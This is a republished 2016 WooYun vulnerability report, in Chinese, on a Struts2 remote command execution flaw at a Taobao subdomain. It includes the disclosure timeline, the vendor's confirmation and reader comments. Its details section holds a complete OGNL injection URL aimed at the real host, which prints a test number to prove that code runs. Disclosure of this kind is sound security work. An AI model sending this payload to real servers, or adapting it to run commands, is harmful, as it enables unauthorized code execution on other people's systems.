神器而已之淘宝某站命令执行

2017年4月30日18:20:42评论298 views字数 204阅读0分40秒阅读模式

摘要

2016-04-27：细节已通知厂商并且等待厂商处理中
2016-04-28：厂商已经确认，细节仅向厂商公开
2016-05-08：细节向核心白帽子及相关领域专家公开
2016-05-18：细节向普通白帽子公开
2016-05-28：细节向实习白帽子公开
2016-06-12：细节向公众公开

漏洞概要关注数(56) 关注此漏洞

缺陷编号： WooYun-2016-202130

漏洞标题：神器而已之淘宝某站命令执行

漏洞作者：举起手来

提交时间： 2016-04-27 11:50

公开时间： 2016-06-12 17:50

漏洞类型：命令执行

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： struts 远程命令执行

5人收藏

漏洞详情

披露状态：

简要描述：

神器友情测试

详细说明：

code 区域

http://rap.taobao.org/account/all.action?method:@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get%28%23parameters.rpsobj[0]%29,%23w.getWriter%28%29.println%2888888888-1%29,%23w.getWriter%28%29.flush%28%29,%23w.getWriter%28%29.close%28%29,1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse

漏洞证明：

修复方案：

升级

版权声明：转载请注明来源举起手来@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-04-28 17:46

厂商回复：

您好，问题已确认，业务属于开源项目，非集团核心业务；目前部署在外售的阿里云上，不在生产网。感谢您对阿里安全的关注和支持。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-04-28 18:05 | Aasron ( 普通白帽子 | Rank:905 漏洞数:163 | raw_input("你知道我要输入什么？"))

0

您好，问题已确认，业务属于开源项目，非集团核心业务；目前部署在外售的阿里云上，不在生产网。感谢您对阿里安全的关注和支持。

1# 回复此人
2016-04-28 18:10 | prolog ( 普通白帽子 | Rank:944 漏洞数:197 )

0

666666666

2# 回复此人
2016-04-28 18:39 | Martial ( 普通白帽子 | Rank:2639 漏洞数:370 | 竟然还有人冒充我，醉了，骗子QQ445697541...)

0

厂商确认了为啥没在最新确认里面

3# 回复此人
2016-05-01 15:40 | 大菜鸟 ( 路人 | Rank:2 漏洞数:1 | 呵呵呵呵呵呵)

0

最新状态：暂无

4# 回复此人
2016-06-12 18:13 | 欧尼酱 ( 路人 | Rank:15 漏洞数:7 | 技术马马虎虎)

1

您好，问题已确认，业务属于开源项目，非集团核心业务；目前部署在外售的阿里云上，不在生产网。感谢您对阿里安全的关注和支持。

5# 回复此人
2016-06-13 14:19 | 水晶 ( 实习白帽子 | Rank:69 漏洞数:27 | 热爱生活，喜欢互联网)

0

求神器

6# 回复此人

漏洞概要 关注数(56) 关注此漏洞

缺陷编号： WooYun-2016-202130

漏洞标题： 神器而已之淘宝某站命令执行

相关厂商： 淘宝网

漏洞作者： 举起手来